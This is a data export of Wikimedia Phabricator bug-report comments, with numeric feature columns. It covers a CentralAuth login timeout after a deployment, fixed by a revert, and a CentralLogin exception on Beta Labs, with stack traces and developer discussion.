73223,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"User:NickK reported in IRC that they're getting 504 timeout errors when trying to login to their unattached accounts on 1.24wmf22. On Wikipedias (still on 1.24wmf21), they're able to login fine.

My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to blame.

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1411541280,1411573104.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-mio2uq45ny7mms72syut,task_description,resolved,True,c3,1,True,False,True,-41,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,15.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.588235294117647,0.6764705882352942,"User:NickK reported in IRC that they're getting 504 timeout errors when trying to login to their unattached accounts on 1.24wmf22. On Wikipedias (still on 1.24wmf21), they're able to login fine.

My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to blame.

--------------------------
**Version**: unspecified
**Severity**: critical"
327133,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,Revert has been deployed.,,,1411573104,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,Revert has been deployed.
327131,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:

Change 162550 merged by jenkins-bot:
Revert ""Auto-migrate matching accounts where no global account exists""

https://gerrit.wikimedia.org/r/162550",,,1411572378,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0625,0.78125,"**gerritadmin** wrote:

Change 162550 merged by jenkins-bot:
Revert ""Auto-migrate matching accounts where no global account exists""

GERRIT_URL"
327128,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"(In reply to Kunal Mehta (Legoktm) from comment #4)
> We
> need to make matchHash aware whether it is meant to be a check only, or
> actual authentication so it should try updating the password. Otherwise
> we're just making hundreds of useless write queries.

Interesting. This would bite when running migration scripts as well, so in a way it's good to discover and fix it earlier than that...

Of course login can't afford failing, but allow me to point out that NickK is about the worst case available. I knew of it and I take blame for not mentioning it in code review. That said, the ""winner"" of such a big active account should have been merged at Special:MergeAccount or equivalent several years ago.",,,1411545535,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,1.0,0.0,0.0,1.0,1.5,5.5,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,2.5,1.0,5.0,11.0,0.0,1.5,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,2.0,1.5,2.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,3.0,1.5,10.5,1.5,3.5,5.5,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,5.0,11.0,5.5,0.0,1.5,0.0,5.0,0.0,0.5,1.5,1.0,2.0,0.5,1.0,0.0,3.711864406779661,0.8389830508474576,"(In reply to Kunal Mehta (Legoktm) from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

Interesting. This would bite when running migration scripts as well, so in a way it's good to discover and fix it earlier than that...

Of course login can't afford failing, but allow me to point out that NickK is about the worst case available. I knew of it and I take blame for not mentioning it in code review. That said, the ""winner"" of such a big active account should have been merged at Special:MergeAccount or equivalent several years ago."
327125,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:

Change 162549 merged by jenkins-bot:
Revert ""Auto-migrate matching accounts where no global account exists""

https://gerrit.wikimedia.org/r/162549",,,1411542640,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0625,0.78125,"**gerritadmin** wrote:

Change 162549 merged by jenkins-bot:
Revert ""Auto-migrate matching accounts where no global account exists""

GERRIT_URL"
327122,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"(In reply to Nemo from comment #1)
> (In reply to Kunal Mehta (Legoktm) from comment #0)
> > My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to
> > blame.
> 
> I was wondering yesterday, how does it work when it's not deployed on all
> wikis at once? Nick has accounts on abut 200 wikis IIRC.
> (If that was the issue, you'd need to cherry pick the new change to
> 1.24wmf11.)

The code only needs to be enabled on the wiki the user is logging in from. Which is why logins from Wikipedias work, because that code path doesn't exist yet.

----

I think this code in general is just too slow. I didn't test it with the number of unattached accounts that NickK has :/

The main weird thing I see though is around a hundred log lines like:

> Set global password for 'NickK'

That's from CentralAuthUser::setPassword, which is called in matchHash. We need to make matchHash aware whether it is meant to be a check only, or actual authentication so it should try updating the password. Otherwise we're just making hundreds of useless write queries.",,,1411542485,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,0.0,0.0,0.0,2.0,1.0,6.0,1.5,0.5,0.5,0.0,3.0,1.5,0.0,1.0,0.0,3.0,0.0,6.5,12.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,8.0,2.5,2.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,12.5,0.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,4.5,12.5,3.0,0.5,7.5,0.0,0.5,0.0,0.5,3.5,0.0,1.0,0.0,5.0,12.0,5.5,0.0,0.0,0.0,5.0,0.0,1.5,1.5,0.0,2.0,0.0,0.0,0.0,3.8544303797468356,0.7278481012658229,"(In reply to Nemo from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The code only needs to be enabled on the wiki the user is logging in from. Which is why logins from Wikipedias work, because that code path doesn't exist yet.

----

I think this code in general is just too slow. I didn't test it with the number of unattached accounts that NickK has :/

The main weird thing I see though is around a hundred log lines like:

QUOTE

That's from CentralAuthUser::setPassword, which is called in matchHash. We need to make matchHash aware whether it is meant to be a check only, or actual authentication so it should try updating the password. Otherwise we're just making hundreds of useless write queries."
327117,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:

Change 162550 had a related patch set uploaded by Legoktm:
Revert ""Auto-migrate matching accounts where no global account exists""

https://gerrit.wikimedia.org/r/162550",,,1411541801,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,14.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,11.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.2,0.8285714285714286,"**gerritadmin** wrote:

Change 162550 had a related patch set uploaded by Legoktm:
Revert ""Auto-migrate matching accounts where no global account exists""

GERRIT_URL"
327111,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"**gerritadmin** wrote:

Change 162549 had a related patch set uploaded by Legoktm:
Revert ""Auto-migrate matching accounts where no global account exists""

https://gerrit.wikimedia.org/r/162549",,,1411541771,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,False,,,-41,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,14.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,11.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.2,0.8285714285714286,"**gerritadmin** wrote:

Change 162549 had a related patch set uploaded by Legoktm:
Revert ""Auto-migrate matching accounts where no global account exists""

GERRIT_URL"
327101,User with unattached accounts unable to login (504) after 1.24wmf22 deployment,"(In reply to Kunal Mehta (Legoktm) from comment #0)
> My initial hunch is that I3a219d86a8837ed9c0c3788604dc3229ee1245ee is to
> blame.

I was wondering yesterday, how does it work when it's not deployed on all wikis at once? Nick has accounts on abut 200 wikis IIRC.
(If that was the issue, you'd need to cherry pick the new change to 1.24wmf11.)

And it's still incorrectly not listed in https://www.mediawiki.org/wiki/MediaWiki_1.24/wmf22#CentralAuth",,,1411541512,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-mio2uq45ny7mms72syut,task_subcomment,,True,c3,1,True,,,-41,True,1.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,13.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,4.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,6.0,13.0,8.0,1.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,3.392405063291139,0.7468354430379747,"(In reply to Kunal Mehta (Legoktm) from comment #0)
QUOTE
QUOTE

I was wondering yesterday, how does it work when it's not deployed on all wikis at once? Nick has accounts on abut 200 wikis IIRC.
(If that was the issue, you'd need to cherry pick the new change to 1.24wmf11.)

And it's still incorrectly not listed in URL"
71565,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Upon going to Special:UserLogin on English Wikipedia on Beta Labs (http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin), I got redirected to Special:CentralLogin/complete (with token).  However, it then threw an exception:

---
Unexpected non-MediaWiki exception encountered, of type ""BadMethodCallException""
[31c07ff4] /wiki/Special:CentralLogin/complete?token=201d1e72216aa80eef3f599b689e7bdc Exception from line 166 of /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php: Call to a member function getId() on a non-object (boolean)
Backtrace:
#0 /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php(33): SpecialCentralLogin->doLoginComplete(string)
#1 /srv/common-local/php-master/includes/specialpage/SpecialPage.php(357): SpecialCentralLogin->execute(string)
#2 /srv/common-local/php-master/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(string)
#3 /srv/common-local/php-master/includes/MediaWiki.php(300): SpecialPageFactory::executePath(Title, RequestContext)
#4 /srv/common-local/php-master/includes/MediaWiki.php(609): MediaWiki->performRequest()
#5 /srv/common-local/php-master/includes/MediaWiki.php(460): MediaWiki->main()
#6 /srv/common-local/php-master/index.php(46): MediaWiki->run()
#7 /srv/common-local/w/index.php(3): include(string)
#8 {main}
---

--------------------------
**Version**: master
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=69834",Unbreak Now!,100.0,1408047540,1409024214.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-rwulpzhftmops4mu6dqt,task_description,resolved,True,c3,1,True,False,True,-46,True,0.0,0.0,0.0,0.0,0.0,9.333333333333334,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,11.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,3.0,0.6666666666666666,0.0,6.666666666666667,0.0,0.6666666666666666,3.6666666666666665,10.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,4.3966666666666665,0.47000000000000003,"Upon going to Special:UserLogin on English Wikipedia on Beta Labs (URL I got redirected to Special:CentralLogin/complete (with token).  However, it then threw an exception:

---
Unexpected non-MediaWiki exception encountered, of type ""BadMethodCallException""
[31c07ff4] /wiki/Special:CentralLogin/complete?token=201d1e72216aa80eef3f599b689e7bdc Exception from line 166 of /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php: Call to a member function getId() on a non-object (boolean)
Backtrace:
#0 /srv/common-local/php-master/extensions/CentralAuth/specials/SpecialCentralLogin.php(33): SpecialCentralLogin->doLoginComplete(string)
#1 /srv/common-local/php-master/includes/specialpage/SpecialPage.php(357): SpecialCentralLogin->execute(string)
#2 /srv/common-local/php-master/includes/specialpage/SpecialPageFactory.php(516): SpecialPage->run(string)
#3 /srv/common-local/php-master/includes/MediaWiki.php(300): SpecialPageFactory::executePath(Title, RequestContext)
#4 /srv/common-local/php-master/includes/MediaWiki.php(609): MediaWiki->performRequest()
#5 /srv/common-local/php-master/includes/MediaWiki.php(460): MediaWiki->main()
#6 /srv/common-local/php-master/index.php(46): MediaWiki->run()
#7 /srv/common-local/w/index.php(3): include(string)
#8 {main}
---

--------------------------
**Version**: master
**Severity**: major
**See Also**:
URL"
312744,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","I think this is fixed by I2488e1fd3109ce66c2cb42d9afc78097f2b7313d (the change Kunal mentioned).

I think the underlying issue is bug 69834.",,,1409024214,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.125,0.7916666666666666,"I think this is fixed by I2488e1fd3109ce66c2cb42d9afc78097f2b7313d (the change Kunal mentioned).

I think the underlying issue is bug 69834."
312738,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Andre Klapper from comment #9)
> (In reply to Andre Klapper from comment #8)
> > Has the Echo team been notified (CC""ing some more folks now)? 
> > Is there a dedicated bug report about that issue?
> 
> Ah, might be bug 69590

That's ""fixed"" (waiting on proper solution, but symptoms should be gone).

Chris S: retest?",,,1408982068,,PHID-USER-z3l4i7dl52qicxtephy5,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,24.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,9.0,15.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.1956521739130435,0.7391304347826086,"(In reply to Andre Klapper from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's ""fixed"" (waiting on proper solution, but symptoms should be gone).

Chris S: retest?"
312732,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Andre Klapper from comment #8)
> Has the Echo team been notified (CC""ing some more folks now)? 
> Is there a dedicated bug report about that issue?

Ah, might be bug 69590",,,1408351601,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,10.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.238095238095238,0.9047619047619048,"(In reply to Andre Klapper from comment #8)
QUOTE
QUOTE

Ah, might be bug 69590"
312726,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Chris Steipp from comment #7)
> (In reply to Chris Steipp from comment #6)
> >     Function: EchoTargetPageMapper::fetchByUserPageId
> >     Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)
> 
> I get this ^^^^ error for every single article page when I'm logged in, with
> both browsers now. After Echo fixes their issue, I'll keep working on this bug

Has the Echo team been notified (CC""ing some more folks now)? 
Is there a dedicated bug report about that issue?",,,1408271293,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,27.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,8.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.3877551020408165,0.7142857142857143,"(In reply to Chris Steipp from comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Has the Echo team been notified (CC""ing some more folks now)? 
Is there a dedicated bug report about that issue?"
312719,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Chris Steipp from comment #6)
> Hmm. Browser specific bug?
> 
> I can login with Chrome without any problem. Firefox I don't get this
> exception, instead I (repeatably) get:
> 
>     Function: EchoTargetPageMapper::fetchByUserPageId
>     Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)

Scratch that. I get this ^^^^ error for every single article page when I'm logged in, with both browsers now. After Echo fixes their issue, I'll keep working on this bug.",,,1408138710,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,25.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,6.0,12.0,14.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.421875,0.71875,"(In reply to Chris Steipp from comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Scratch that. I get this ^^^^ error for every single article page when I'm logged in, with both browsers now. After Echo fixes their issue, I'll keep working on this bug."
312711,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Hmm. Browser specific bug?

I can login with Chrome without any problem. Firefox I don't get this exception, instead I (repeatably) get:

    Function: EchoTargetPageMapper::fetchByUserPageId
    Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)",,,1408138504,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,6.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,0.0,6.0,4.0,8.0,2.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8979591836734695,0.7959183673469388,"Hmm. Browser specific bug?

I can login with Chrome without any problem. Firefox I don't get this exception, instead I (repeatably) get:

    Function: EchoTargetPageMapper::fetchByUserPageId
    Error: 1146 Table 'enwiki.echo_target_page' doesn't exist (10.68.17.94)"
312707,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","(In reply to Chris Steipp from comment #4)
> I can login fine there-- I'm assuming this is intermittent?

I tried now ~15 times (bypassing Firefox' browser cache) and it showed the exception every single time.",,,1408136897,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,9.0,11.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7142857142857144,0.9428571428571428,"(In reply to Chris Steipp from comment #4)
QUOTE

I tried now ~15 times (bypassing Firefox' browser cache) and it showed the exception every single time."
312702,"BadMethodCallException with ""Call to a member function getId"" in SpecialCentralLogin.php on Beta Labs","Are we running low on session/cache storage (I'm not sure if it's redis or memcached backed in beta)?

I can login fine there-- I'm assuming this is intermittent?",,,1408122044,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-rwulpzhftmops4mu6dqt,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,11.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,8.0,3.0,5.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5789473684210527,0.8947368421052632,"Are we running low on session/cache storage (I'm not sure if it's redis or memcached backed in beta)?

I can login fine there-- I'm assuming this is intermittent?"
